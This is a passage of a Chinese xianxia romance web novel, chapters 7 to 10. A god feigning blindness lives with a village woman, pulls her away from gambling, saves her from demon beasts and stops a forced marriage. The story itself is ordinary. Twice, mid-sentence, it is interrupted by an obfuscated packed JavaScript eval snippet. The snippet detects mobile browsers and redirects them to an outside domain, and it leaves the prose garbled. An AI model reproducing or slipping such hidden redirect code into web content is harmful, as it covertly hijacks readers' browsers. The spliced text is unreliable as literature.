岐晔动作一僵,觉得应该告诉她不能这样做,但话到嘴边就是说不出来,“你……对其他人也会这样做吗?其他男子。” 李安素想了一下如果是张辰溪咬过的月饼…… “才不会呢。” 两人一起吃完了一块月饼,岐晔才站起来往屋子里走,端出做好的饭菜,“嗯,怎么了?李姑娘?” 李安素摇头,怪不得那些男人女人都着急回家呢,家里有个人做饭未免太幸福了。她伸手在男人头上拂了拂,对上男人呆愣的表情。 “怎么了?”岐晔又恢复了那副冷静持重的模样。 空气中都是一股桂花香气,李安素捏着一朵小花,笑盈盈道:“你来之前,这棵树都没有开过花哎。” 岐晔抿唇坐下来,这棵桂花树已经死了好几年了,光有个空壳子,他不过是给了点灵力,这估计是天底下长得最好的一棵桂花树了。 树上的桂花迎风摇动,眼看着就要长出灵识了。 岐晔缓声开口:“明日我想要去……” 李安素浑身一僵,还以为他要说离开的事情,连忙打断:“你明日有什么想要的吗?我给你带。” 岐晔静默了一会儿,不再说离开的事情,“如果看见,帮我带一点茶叶吧。” 李安素吃饱饭,接过碗筷,钻进厨房里。 岐晔就站在她身后,听见声响,缓缓抬手,脸上的布条消失,他盯着女子的背影。 李安素笨拙地洗着碗,没几个碗,被她认认真真洗干净,一一摆在橱柜里,叮叮当当的声音反而让他心里一片宁静。 明日他要去魔族一趟,不过看她这样紧张,还是瞒着她直接去算了。 7. 凶兽 魔界,算得上六界中比较特别的地方。除了魔族,其他族人踏进都会备受灵魂煎熬之苦,待久了甚至影响仙骨。 即便是岐晔,在魔界待久了也不行。他此番前来探查安愫的魂气,自从魔头被封印,曾经风头无两的炽霞宫如今空无一人。 只有鸟兽还在盘旋,远处猩红的天空千年如一日,仿佛映照着当年的辉煌。 岐晔独自一人上山,轻车熟路走进安愫原先的宫殿中。他一打开门,数不清的怨灵冲上来,向着他发动攻击。 这些东西守在安愫房中千年,始终不肯离开,已经走火入魔,不分敌我。 岐晔伸手,空荡荡的手中凭空化出一把伞。天丝织成的莲花伞上用金丝勾勒出山河图样,是岐晔的法器。他握住伞柄,畅通无阻走进去。 不周山脚下,般若正准备上山,忽觉一道神力,她连忙屏住自己的气息,藏身到一块石头后。 她本就是神族的人,修炼不行堕入魔道,被神族视为叛徒,但岐晔也察觉不到她的魔气。 她看着岐晔从山上走下来,一身月白色的仙袍,仗着自己天下第一就完全不把魔族守卫放在眼里。 鬼哭河连接神界和凡间,他没有顺流而上回神界,反而转身向下。般若当即觉得奇怪,正要跟上去的时候,她眼前蒙上浓雾,再一睁眼,什么都没有了。 岐晔几万年来,每次路过人间,从不踏足,现在却在凡间住了下来。他这一次没有路过人间,而是走进了闹市中。 他站在闹市门口,李安素每日都来这里卖货,这段时间也确实赚了些钱,他却没有看见她。 “客官,买点香料给母亲、妹妹、娘子用啊……”一个叫卖声传入他耳中,前两个人他理都不理,听见某个词时却停了下来。 那小摊老板看见一个谪仙似的人儿停在自己摊前,连忙招呼:“客官客官!要些什么?” 老板搓着手,却只听见一阵哗啦声,一锭银子放在面前,那只骨节分明的手拿过了一个最好的香囊,“就这个了。” 老板一时间没反应过来,抬起头,对上岐晔那张脸,顿时噤声。 岐晔没有蒙眼,一双眼睛沉静冷淡,这世间极少有人能将“冷”“暖”结合在一起。但偏偏岐晔就是这样一个人。他面容极尽俊俏美丽,如温柔的神祇,眸光却没有一丝温度,盯着老板的目光仿佛在看死物。 “不、不用这么多!”老板招着手,岐晔却自顾自拿着香囊往人群中走。 前方传来各种乱糟糟的声音,岐晔本想穿过这条街,给李安素买点东西就回去,却不期然听见了她的声音。 那声音只一瞬就消失在耳边。 岐晔条件反射地抬手化出蒙眼布,他偏头,抬脚往一个地方走。 “哟这位爷……”赌场门口的中年女人一见是个瞎子,愣了愣,“您来做什么?” 岐晔继续往里走。 “哎!你这人怎么回事啊!这种地方是你该来的吗?”中年女人话还没说完,岐晔转过头来。 岐晔声音温和,却字字透着冰凉:“这是干什么的地方?” “你说好笑不,你来赌场问我这是干嘛的?不是赢钱的难道是睡觉的?”女人摇着扇子,上下打量着他。 岐晔推开她,大步往里走,蒙着眼却仿佛如履平地,仔细看还带着点怒火。 “哎大大大!我说了是大!” “哎我赢了赢了!啊哈哈哈下一把和我一起押!” 赌场很大,环境混乱,有些抽旱烟的,烟雾缭乱,岐晔快步穿行在其中,精准地定位到某个全身心奔赴赌桌的人。 李安素撑着桌子,声音清亮,“开开开!快开呐!” 张辰溪就站在她身边,和她一样疯狂,两人都不知道身后的人已经缓缓退开了。 李安素一只手忽然被攥住,她反手甩开:“别扯我,我快要赢了!” 她满目兴奋,那眼中的疯狂、贪婪是岐晔最厌恶的东西,他死死闭着嘴,一句话不肯说,只是继续用力。 李安素被扯得不耐烦,匆忙回头:“我这马上就要开了……岐、岐、岐晔!” 她瞥见身后这人,他身上传来的幽香与周遭格格不入,她瞪圆了眼,理智悄然回笼。男人穿着一件与周围格格不入的月白色长袍,唇角绷得紧紧的。 “你怎么来了……”李安素气焰减小,却又回头看了眼赌桌,“你等一等,我、我赢完这一场就跟你走。” 岐晔的手掌在看不见的地方握拳,一道凡人看不见的法术灵光从他手里飞向赌桌。 那个骰盅在众目睽睽中打开,里头四个“1”顿时令周遭沉默。 很快,赌场里爆发出一阵激烈的叫声,对面那个男人大概都没想到自己还有赢得这样彻底的时候,他尖叫着扑倒桌上,把所有银票都揽进自己的怀里。 “不、不可能!这怎么可能……??”李安素大吃一惊,将那筛盅反复拿起来看。 这一次,不仅输光了张辰溪要还的钱,还把她今日带出来准备给岐晔买药的钱都输光了。 “可以走了吧。”岐晔阴郁的声音传出,拉住李安素就准备往外走。 “等等。”张辰溪跟上来,攥着李安素另一只手,“你是她的谁啊,李安素,他怎么又在?你和他什么时候这么熟了?” 李安素头疼不已,下意识要挣脱张辰溪的手,却听见另一边传来岐晔的声音。 “你又赌。”岐晔站在她身后,拽着她的力量越来越小,李安素却觉得手有千斤重,“你上回明明答应了我不赌钱了。” 李安素心虚:“……没,就今天……” “你答应他干嘛?他是你的谁啊?!”张辰溪不服,“不行,你凭什么要听他的!” “看来你不和我走了,行。”岐晔点头,对于她的犹豫十分不满,“那我也走了。” 李安素清醒过来,那一瞬间仿佛看见了回家没人做饭、没人等自己的惨状,“岐晔!我、我跟你走,张辰溪我下回再和你说……!” 话没说完,不过也没必要说完了,李安素摆摆手,跟在岐晔身后往外走。 夕阳下,李安素和岐晔并肩走在街上,她搓了搓手,肚子里传来叫声,“咳,你应该也饿了吧。” 岐晔没回答,这是他生气的征兆。 李安素停在一个摊位上,摸到口袋里一个铜板,“吃不起馄饨,我、我给你买烧饼吧?” 李安素一回头,岐晔已经走远了。 完了,这一次不是生气的征兆,岐晔已经非常生气。 李安素也不敢买烧饼了,赶紧追上去:“岐晔!你生气了吗?” “……没有。”岐晔缓缓加快了脚下的速度。 “那……你怎么不理我?”李安素仰头说。 她垂头,看见岐晔垂在身侧的手,想要像往常一样去牵,男人却精准避开了。 “你看!”李安素骤然拔高声量,“还不是生气了!你就是生气了!” 岐晔侧过头,只留下一个背影:“随你怎么说。” 岐晔都觉得自己好笑,他一个活了好几万年的神仙和一个凡人置气,何必呢?原本也只是看她一个人可怜,待在这穷乡僻壤一个月,如果她冥顽不灵,他又何必浪费时间在这里? “既然你喜欢赌钱,我也不阻止了,人人都有自己要走的路,今后就各自成家吧。”岐晔拂开她的手,说出的话不带一丝温度,“岐晔感谢姑娘收留,这段时间,我过得很好。” 李安素还想要伸手上去牵住,可他毕竟是个男人,若是想要躲开,又怎么会是她能挽留的人。 她知道自己应该说什么,频频回头,只看见岐晔抿成一条直线的唇,男人面无表情。 回到房子里,岐晔一言不发开始收拾东西,李安素跟在他身后,“那个……今天太晚了,你要离开也等到明日吧……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406160|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岐晔不回答,他其实没什么好收拾的,就两套衣服,身上一套柜子里一套,李安素夺过他手里的衣服。 “喂,岐晔……你不要这样,我以后都不犯了行不行……”李安素挠挠头。 岐晔看不见,也拿不回自己的衣服,他站在那好一会儿,点了点头:“我不要了。” 说罢,岐晔直接转身向着院门走去,他推开门,大步往外走,李安素想要追出去,却在下一刻,男人消失无踪。 “喂……”李安素看着空荡荡的房子,这个地方简直不能称作“家”,她坐了一会儿,才把岐晔的衣服收起来。 夜幕降临,乌云蔽月,四下没有一丝光线,天边眼见着快要下雨了,她一只担心着岐晔。 “咚咚咚。”房门被敲响,李安素当即以为是岐晔回来了,去开门,“王婶,是你啊。” 王婶牵着铁蛋,“安素啊……真不好意思麻烦你,我在山上种了点菜,现在要去收,铁蛋能不能放在你这里一会儿?你家那个小郎君呢?” 李安素垂着头:“王婶,他不是我家的,只是暂住,已经离开了。” 王婶抬头:“离开了?可这段时间山上在搞驱魔呢,他今日离开不安全吧,我今天还看见——” 话音将落,一个人影冲进来,是脸色煞白的张辰溪,他惊恐看向李安素:“李、李二德死了……是魔兽咬死的!” 李安素一愣,跟着出门去,村里的空地上,狂风大作,一个蒙着白布的尸体横在面前。 李安素几乎不敢相信这是李二德。 现在山上凶兽肆虐,她瞬间想到了独自离开的岐晔,毫不犹豫就要转身上山。 李二德的娘也是村子里的,跪在地上哭天喊地,看见李安素靠近,指着便说:“就是你,一定是你,一定是你去镇上把阴魂招了回来,我儿子才会死的,就是你这个丧门星!” 李安素退后几步,“不是我……我都没有见过李二德。” 但村子里最不缺的就是道听途说、胆小怕事的村民,女人这样一说,竟真有人看了过来。 “我没有,我都说了我没有!”李安素有些惊慌,她渐渐退到边上,可身后走上来几个村中长老。 “安素,李二德死了,这件事情你有责任,今夜你就在这里守灵吧。”一个长老开口说。 村子里没有村长更没有一官半职,都是民众自封的长老,李安素一个人,又是流浪到这里来的,自然没有反抗力量。 张辰溪一把抓住李安素的手臂:“各位!她一个弱女子,有什么能力招来阴魂,我说你们,讲故事也要有个凭据吧?” “轰隆——”一道天雷在远处响起,目之所及都是一片惨白,几个人沉默了。 “安素去守灵,就这么决定了,你们几个,今夜守好村子,凶兽还在山上!”一个男人指挥着,又看了眼李安素,“你还愣着做什么?” 李安素抿唇,握紧拳头,“我再说一遍……我没有!都别拦着我,我要上山!” 说完,李安素转身就往外跑,她能听见身后的议论声。她最后又看了眼远处的山,村子背靠的这座山,是出去的唯一道路,岐晔现在一定在山上。 山上的凶兽……李安素没见过,但她一闭上眼睛就是李二德尸体的模样。 仿佛明天就会看见岐晔躺在那里。 “岐晔!”李安素怒吼一声,一个人在山间乱窜,“岐晔!你在哪里?!” “疯了吧她……这都什么时候了,她还往山上跑!?”一个女人摇摇头。 “不行……她上山找人了,我也要去。”张辰溪忽然开口,却被人拦住,他的母亲站在他身前。 “不许去,你回屋子待着。”女人摇摇头,“她身上都是晦气,不知道你整天和她待在一起干什么,你该不会想着什么不该想的事情吧?” 张辰溪张了张嘴,一道天雷凝聚在山顶,他心中的不安顿时达到了顶点。 8. 天阳一字伞 “岐晔!”山中,漆黑一片,乌云黑压压凝聚在头顶,她身上没有一处干燥的地方。 一双眼睛仓皇张望,除了一个身影,别无所求。 “岐晔!”她又喊了一声,下一刻,脚踩到了什么湿滑的东西,直接往下摔去,撑在地上的手掌顿时鲜血淋漓。 “呃……”李安素闭了闭眼睛,后背狠狠摔在了一堆草上,抬起头,看见的就是一条巨大的尾巴。 魔兽听见动静缓缓转过头来,嘴里还叼着半截人类的身体,李安素瞬间觉得血液倒流,她握紧拳头,“你把他吃了?” 魔兽的竖瞳闪烁着危险的红色,歪了歪头,似乎对她没有兴趣,但李安素抓着一把镰刀就冲了上去,魔兽抬脚走过来。 魔兽身躯庞大,李安素身下的土地都在颤动,她退后一点,握紧了手里的刀。 “砰!”一道剧烈的响动在身后响起,李安素背靠着的小土坡开始崩塌,她一晃眼,身前站着一个人。 来人一身金色衣衫,一把伞在他手上转了几圈,飞向那魔兽,那魔兽头上出现一个血窟窿,轰然倒地,嘴里的人也掉了下来。 “救、救命……”李安素小声说道,抬头望着那人,依旧看不清脸,但她双手合十跪在地上,“仙人,求您别走,求您帮我找找我朋友,他不见了……” “仙人”没有理她,一挥手,李安素出现在了离魔兽十几丈远的地方,她看见那道金色身影幽幽站在高处,脚下腾空,几下就将魔兽战胜。 这就是李安素想象中的修道之人,行云流水,轻而易举,只需要轻轻挥手就能收服魔兽。 岐晔则是紧紧拧着眉头,这山上属于凡间,即便再靠近魔界,也供养不起这样庞大的魔兽。 “仙人!”一道声音在身后响起,岐晔身躯僵了僵,他缓缓靠近她,却又担心佛光灼伤了她。 “仙人!我在这儿!”李安素崇拜的视线他看不见,她满目崇拜,疯狂挥着手,“您的眼睛怎么了?” 岐晔伸手,接过远处飞来的天阳一字伞,将伞收起来。 “仙人真厉害,这伞还会自动收起来!”李安素眼睛亮了亮,又将手撑在额前,“您有没有事!?我看那魔兽吓人得很!” 雨幕中,丝丝细雨砸在李安素身上,那些雨水却避开了岐晔,这仙人还是防水的呢。 “此地不宜久留,你一个凡人还是早些回去比较好。”岐晔没有一丝多余情绪,就当是举手之劳,任由一个凡人死在自己面前,天道也不忍。 李安素还不想回去,她搓了搓手,“仙人能不能再帮一个小忙,我想要找找我的朋友,我担心他遇到了危险……” 岐晔沉默下来,“是你很重要的人?” “当然!是我最重要的人!”李安素重重点头,握紧拳头,“他眼睛看不见,一个人很危险。” 岐晔没说话,反而抬脚往别处走,李安素跟上去:“仙人,您就同意吧,我、我绝对会离您很远的!这雨越来越大了,您的自动伞要不就借我挡一会儿雨?” 一刻钟后,岐晔消灭完两头剩下的魔兽,转身飞向地面,李安素撑着他的法器,兴冲冲挥手。 “找过了?没看见你朋友?”岐晔自然接过伞,走在她身边。 天阳一字伞是盘古开天地时的一抹云彩,吸收日月之精气,陪着岐晔这么多年闯荡,当年封印安愫还救了他一命,现在却成了一个凡人手里遮风挡雨的伞。 岐晔丝毫不觉得有什么问题。 “没……”李安素忧虑地皱眉,“希望他已经坐上车离开了。” 岐晔动作一滞:“你不是说不希望他走吗?心口不一?” 李安素摇头:“当然不是!我希望他不走,但他现在若是还留在山上,只怕是凶多吉少……我希望他已经离开这里了。” 岐晔没说话,将她送到了半山腰,“就送到这里,你回去吧,这伞给你用。” 带着一丝余温的伞柄被塞进李安素手心里,她仰头,只能看见岐晔没有弧度的唇,“多、多谢!” 夜半,雨丝星星点点地砸下来,雨势变小,李安素撑着伞走到村口。 “哎……你是……岐晔?”李安素一时间没反应过来,村头的一个小屋檐下,坐着一个熟悉的身影,他整齐的领口有些凌乱,发丝也垂在了脸侧。 岐晔听见声音抬头,他苍白的脸挤出一点表情:“你……你回来了啊。” 李安素连忙上前抱住他:“你没事……没事真是太好了,山上有魔兽!我跟你说我全都看见了!” “你、你为什么上山啊?不是说山上很危险吗?”岐晔被她扶起来,他淋了雨,但比李安素好一些,“你上山干什么?” “当然是去找你的啊!你一个人走了,又手无寸铁,要是受伤了、要是死了怎么办?”李安素着急说。 岐晔抿唇,她好像完全不知道,冒着死的风险上山找一个男人意味着什么。 “为什么?”岐晔动了动唇瓣。 “你说什么?”李安素抬头,两人凑得近,这一抬头就蹭过了他的下颌,但男人仿佛没有感觉。 “不管是谁你都会去找吗?这山上的魔兽也有可能把你吃了。” 李安素笑了下:“我不会,我运气好得很,我遇上了仙人,一点事都没有。” 岐晔和她并肩,她撑伞,为了配合他的身高把伞举高,雨水也没有被吹进来,李安素絮絮叨叨说着仙人如何如何。 “你受伤了。”岐晔摸到她的手掌,搓了搓上面的血。 “不是。”李安素面不改色地撒谎,“是雨水。” “是血,有温度。”岐晔轻叹一声。 李安素脸一热,把手缩到身后,“我没事的,啊,我想起来了,这把伞还没有还给仙人呢,他会来取吗?” 屋子里,两人都淋了雨,李安素仗着他看不见,先脱了自己的外衣,只留下一件贴身的里衣。 岐晔侧着头,将伞收起来靠在门边,“嗯,不用还了。” 烛台的光微弱,门缝里吹进来的风吹得烛火摇曳,气氛微微暖起来。 李安素看着他没有看自己,飞快脱掉湿透的衣服钻进了浴室,胡乱洗了一下,才裹着浴巾走出来。 岐晔虽然蒙着眼睛,看不真切,却听得见屋子里的动静,身后传来脚步声,他站起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406161|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哗啦——”李安素攥着浴巾的手一松,浴巾直接堆在了脚边,她一愣。 “嗯?什么东西掉了?”岐晔伸着手,“需不需要帮忙?” “不用!”李安素惊叫一声,慌乱退后撞到衣架,架子上带着水珠的衣服盖在烛台上,房间里瞬间落入黑暗。 声音如同被摁进水池的烟头,熄灭了。 李安素捂着自己赤裸的身体,飞快藏在屏风后,“你别看!” 岐晔扯了扯嘴角:“我看不见。” “如果你看见了,我可要你娶了我。”李安素随意说了句,便独自藏在屏风后,忙乱穿好衣服。 “好。”岐晔沉声说,没注意身后忽然停下来的声音。 太、太犯规了。 他还没说什么,明明看不见,说出来的话却让她一个人紧张得不行。 李安素揪紧了衣服,她知道自己喜欢上了这个来历不明的人。 于是吃饭的时候她问岐晔:“你有没有婚娶?” “没有。”意料之中的回答。 “那……你今后可有什么打算?”李安素托着下巴,连碗里的饭都吃不下去了。 “报恩。”岐晔抿唇,语气理所当然。 报恩。 恩。 李安素脸涨红,说出了一句自认为很高明的话:“你知道一句话吗?叫做……救命之恩应结婚相报。” “救命之恩当以身相许。”岐晔纠正道。 李安素:“……”她悄悄打量岐晔的脸色。 岐晔抿唇,其实没有想到她会这样直白,不过这确实是她的一贯做派。他那日返回留在这里,也早就料到了这一天。 “所以我在——”岐晔话没说完,房门猛然被砸响,来者动作暴力,用力砸着脆弱的木门,整个屋子都回响着刺耳的声音。 李安素站起来,去打开门,瞬间就想要关上门。 “你、你们这是干什么?” 几个村里的人看向坐在桌前的人,不怀好意地看着李安素,“李安素!你和这个男人到底是什么关系?他不是村上的人,你竟然收留一个外乡人在这里这么久,你想要害死我们!” 一只手伸过来,将李安素推了推。 “不许进来,这是我家!”李安素摆出警戒架势。 “村上连着死了好几个人,和你脱不了干系,你必须给个说法,就是你和你这个野男人带过来的!” 李安素不安地看了眼坐在桌前的岐晔。 “你们少血口喷人,我们都是普通人,你们这样做和魔兽有什么区别?”李安素看了眼门口,却被一个女人堵回去。 “你想要找辰溪?歇了吧,他现在不可能出来护着你!” 李安素指着门口:“你们都滚出去!这是我的地方!” 几个人缩了缩脖子,却依旧不依不饶。 身后传来桌椅的声音,李安素垂在身侧的手被牵住,手心的冷汗都被他的温度暖住,“谁说我是外乡人了,我现在是外乡人,以后可不是了。” 岐晔侧了侧脸,“我已经和李姑娘谈婚论嫁,今后也会一起生活,还请各位放心。” 9. 抢婚 那天过后,李安素就觉得村上的氛围虎视眈眈,只有王婶和张辰溪还对自己有善意。 终于,一个午后,岐晔出门,只有李安素一个人在屋子里。她趴在桌上睡了会儿,直到黄昏降临。 “咚咚咚。”一阵敲门声响起,李安素警惕地抬起头来。 院门被岐晔加固,倒是不怕外面的人闯进来。“是谁啊?” 李安素走到院门口,手刚放在门上,就听见王婶的声音传来。 “安素啊……我、我是王婶,来给你送点东西。” 李安素松了口气,一边开门一边说:“是您啊……您不用给我送东西了——” 她看清了门外,王婶满脸泪花地看着她。几个五大三粗的男人站在门口,还有李二德那个不讲理的娘。 “你、你们要干什么?” 李安素退后几步,还没有来得及搞明白,几个人上前,其中一个男人一掌打在她的后颈。她眼前一花,顿时倒了下去。 “砰!”一声巨响,李安素不慎碰到了门口的伞,那把伞掉在地上,她也被人捂着嘴往外拖。 “干什么?”男人狞笑着,“让你嫁人!” 天云涧,一条巨大瀑布从天而降,冲刷掉六界浊气。这里不属于六界任何一方,也是岐晔的住所。 草屋前只有一个小童子在扫地。不多时,一个老神仙出现在篱笆外,朝他招手:“全仙君,神尊回来了没有啊?” 阿全淡淡收回视线,继续扫地:“还没有。” 老神仙纠结地屏息,他看了眼院中的草屋,几万年如一日,岐晔还是住在这种地方。“神尊这一回是去了哪里啊,不知道全仙君能否告知一声,吾也好提前准备着……” 阿全面无表情的时候和岐晔简直如出一辙,他不懂:“直接给他传话不好吗?” 老神仙面色一僵,“这是出于道义礼仪,吾毕竟是晚辈,要请他老人家还是等着就好了……哦哦,这是给小仙君您的,还请收下。” 阿全只瞥了眼就知道是什么东西,“我不受贿。” 话音刚落,篱笆大门口幻出一道白雾,一道身影从正门口走进来,周身带着灵气。他看向阿全:“有客人来了?还不请进来。” “是。”阿全低着头打开门,“神尊回来了,你不是要见?” 老神仙擦了擦汗,他赶紧背过去整理了一下自己的衣襟,连续一个月吃素焚香,唯恐礼数不周。 “神尊,看来小的今日是受了佛祖关照,让我见到了您……”老神仙搓了搓手,低着头,“不知道您可还记得我?” 岐晔没看他,自顾自坐下来,“洪山真人,你不在洪山待着,到这里做什么?” 洪山真人张了张嘴,赶紧弯下腰:“您、您还记得我?真是折煞小人了,小人这回来也是无奈之举,求神尊宽恕。” 岐晔拨了拨桌上的茶盏,直到阿全走进来倒茶,“当年封印安愫还多亏了你。” 洪山真人扑通一声跪下来。一、一千年前的事他记得这样清楚?!洪山真人当年是安愫的一个部下,原本跟着魔族打天下,这一千年把自己藏得很好。 “当年的事我不找你,你今日来有什么事情?”岐晔把一杯茶推过去。 洪山真人连忙喝了口,“额……是我家那个不成器的小儿子,修炼魔道走火入魔,洪山境内都没有他的对手,现在逃到凡间去了,我实在担心,这才来求您。” 岐晔没说话,洪山真人求助一般看向阿全,后者闭着眼睛假寐。 “你也打不过?为何不去找你的同辈,几人联手。” 洪山真人的脸霎时间红透了,他何曾没想到,但这神仙老了也爱面子,去找同辈帮忙岂不是告诉六界,自己连亲生儿子都教不好,还打不过? 岐晔闭了闭眼,身侧的玉佩忽然开始振动,牵着一股灵力,他立刻睁开眼睛站起来。 洪山真人愣了愣,就听岐晔开口:“阿全,什么时候了?” “已经入定了。” 岐晔抿唇,看向洪山真人:“你先回去,你儿子我一定给你抓回去。” 洪山真人搓着手跟上去:“神尊可是要出门了?小人的儿子在魔界边境,我实在担心,还请神尊留他一命……” 洪山真人追出去,可岐晔哪里是他追得上的,男人难得失态,在屋子里就用了速行步,瞬间消失在眼前。 “奇怪……神尊怎么不用神器呢。” 岐晔速度很快,天云涧到凡间的距离很远,即便是他也要一整天,更不要说是没有一字伞。 他大可以直接将一字伞收回来,可一旦收回来,李安素就再也没有保护。 就连他自己都不懂,一个凡人,保不齐就是死,他去地府也能把人捞出来,还怕护不住? “哎,那是神尊吗?”路过南海,一个小神仙看着天上的一缕青光,“这六界也只有这一缕青光吧?” “也不知道神尊这么快要去哪里呢。” “是啊,也不知道谁这么倒霉……” 李安素睁开眼,入目便是一片鲜红。身下是摇摇晃晃的马车,她吸了口气,鼻腔里那股迷药的味道还没散去。她用力攥紧脸上的红盖头,一把扯下来。 “这帮混蛋!”李安素怒骂一声,动了动不太紧的绳子,估计是觉得她逃不出去,这绳子没有打死结。 李安素伸出手撩开车帘,瞥见外头的街巷,已经走到了闹市,距离李家估计也没有多远了。 她左看右看,这车队估计都是家丁,她单凭一个人很难逃出去。 不过还好,李安素取下头上的朱钗,锋利的朱钗被她藏在袖口里,等着马车一落地,她或许能自保。 “咚。”一声响动,是马车紧急停了下来,不一会儿,外面传来骚乱。 有官兵的声音传来,李安素还没搞清楚状况,一只手从车帘外伸进来,这人的身影也投射到了她脸上。她下意识捏紧了朱钗。 李安素抬手,将朱钗抵在眼前,随着车帘打开,朱钗离他只有一指宽,“你要干什么?!” 岐晔清瘦的身子踉跄了一下,他看不见,连忙举起手:“李、李姑娘!是我啊!” 李安素瞪圆了眼睛,立刻松手丢掉了朱钗,“是你?岐晔,你怎么回来了,不是说要两天才能回来吗?” “我听说你要出嫁,就赶紧回来了。” 李安素低头看见一身喜服,气不打一处来,她直接脱掉披肩,“那群畜生,有什么娘就有什么儿子!” 车外的骚乱映照着她的说法,几个官兵将李家的人抓了,李安素这才有机会逃跑,她不忘牵着岐晔,“对了,你是怎么拦下马车的?” “是我报的官 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岐晔跟在她身后,倒是一点都不着急,还有闲工夫帮她扶正头上歪了的发髻。 张辰溪也急忙赶来救人,一眼就看见跑出来的李安素,身后还牵着岐晔。 “李安素!你要吓死我了,我差点就没赶上。”张辰溪撑着膝盖,看了眼岐晔,语气掉下去一点,“又是你啊。” 岐晔微微一笑,举起他牵着李安素的手:“还好我赶上了。” 张辰溪:“……你今日没有被他们捉住,以后可就不清楚了,就李二德家里那德行,迟早会对你下手,你一天不嫁人,那死老太婆就一天把自己当你婆婆呢。” 李安素脚步正要往前迈,忽地被一只手拽着,她回头,对上张辰溪不善的视线。 “喂,我说,我们才是朋友,你还是不要插手李安素的事情了。”张辰溪死死盯着岐晔,“你是外乡人,咱们这里小国小民,排外。” 岐晔没松手,动作却轻了点,“我没有接近你们,要不要我插手,她说了才算。” 李安素抿唇,想到张辰溪的娘,那个女人从前就看不起她,而眼下是甩掉张辰溪最好的时机。 “张辰溪,你娘在叫你呢。”李安素仰头,往岐晔身边藏了藏,“你敢跟我走?” 张辰溪一梗,他稍有顾虑,瞥向另一头,他的母亲叉着腰,“张辰溪,你给我回来!” 他的脚步也就这么停下了,就这一瞬间,李安素的手被岐晔用力拉到怀中,男人身上的浅香把她笼罩在里头。 李安素忽然就放下心来,和他往外走去。 “你去哪里了?是不是耽误你的正事了?”李安素坐下来,换掉一身喜服,她半点不留恋,这样艳丽的颜色,她很少会穿。 岐晔拉开椅子坐下来,一枚不大不小的扳指从他怀中掉出来,“去拿了个东西。” 李安素看见那扳指,晶莹剔透,一看就是很好的玉。 岐晔抿唇,他不了解凡人的聘礼一事,却也有不少渠道了解,问了已经婚娶的老神仙。 “哎,这是什么?”李安素接过那扳指,放在灯下,“好漂亮!” 岐晔倒是没想到她会主动接过去,于是试探回了句:“聘礼,收下就是同意了。” 10. 嫁衣 李安素一愣,没有动作,任由他拿着那扳指,摸索了一会儿。她的手很小,指尖有着薄薄的茧,与他的手指交叉在一起。 他看不见,一时间对不准手指,就与她十指紧扣,把扳指套进她的手指中。 李安素感受到有些紧绷,不好意思地说:“小、小了……” 话音刚落,那扳指散发出幽幽光线,缓缓向外扩张,配合她的手指,竟与她的手指刚好相合。 “哎?怎么……” “戴上了。”岐晔弯唇,“我没什么好东西,就带了这个。” 李安素低着头,盯着那扳指,一会儿摸一下,一会儿放在光下打量,就是不说话。 岐晔耐心等着,反正已经戴上去了,他也不着急。六界的神器是开天辟地之时形成的,或者是后世名匠打造的,他的伞也是这样来的。 到现在神器已经不多了,他战胜了一个神界一方守护神,夺了他的神器,是个扳指,很方便行动,用来做聘礼再合适不过了。 “你是哪里来的,看起来不便宜。”李安素眯了眯眼睛,“这中间怎么还有血迹,是正规途径来的吧?” 岐晔一愣,轻咳几声:“是、是我娘留下来的,不值钱,血迹……可能是上了年岁了吧。” 苍龙提灯戒属水,刚好可以中和一下她身体里的火气。 李安素刚要起身,一抬头发现他还在等着自己,她霎时间通红一片,“你、你……你娘一定是个很好的人吧……” 岐晔扯了扯嘴角,他早就不记得自己飞升前的人生了,太久了。 不过这一次,如果她愿意,即便凡人生命只有几十年,下了九泉他也能找到。 李安素抬起头来,对上他被蒙上的眼睛,想象着他原本的双目,竟就这么稀里糊涂地答应了。她兴冲冲了一晚上,天刚亮就要带着岐晔上街。 他们坐着最早的车马去了镇上,赶了回早集。 “你看这个!”李安素握着一个铃铛,一回头就对上岐晔蒙眼的布条,要说出的话就这么哽住了。 岐晔没听清,偏了偏头:“嗯,什么?” 李安素心情复杂,把那铃铛放回去:“算了,没事,别看了。” 李安素算了算自己的钱,一共三两银子,是普通人家半年的开销,她攒了十几年。她叹了口气,要是没有去赌那些钱就好了。 “怎么了?”岐晔听见她叹息,“去看看嫁衣?” 他看不见,但李安素一定要穿嫁衣。 李安素纠结着走在他身边,还没有成亲,她仿佛已经看见了未来两人过的苦日子,不过……李安素看了眼岐晔的脸。 算了,苦日子她过可以,让这样一张脸跟着自己过苦日子可太不是东西了。 “你等着!”李安素去了医馆,又去问了那个大夫。 大夫一看是李安素,连忙摆摆手:“你怎么又来了,去去,我这里可不免费看病。” 他虽是个神医,但比较好财,李安素兜里都没几个子儿,他满脸的不耐烦。 “哎,我说你怎么这样呢,我现在是没钱,可不代表我以后也没钱!” “那你有钱了再来看病啊。”大夫看了眼站在门口的男人,“他这眼睛一看就是顽疾旧症,你以为想治就能治好的啊?” 几个来看病的晃了晃鼓囊的腰包,很快就将她挤到后面去了,李安素往后靠,碰到岐晔。 “你、你怎么进来了?”李安素有些着急。 岐晔抿唇,牵着她的手:“没事,你不用为了我求医,我的眼睛我自己清楚。” 其实他的眼睛压根没事,不过……想到她着急的样子,岐晔勾了勾唇角,“比起眼睛看不见,更可怕的是你不在我身边,我害怕。” 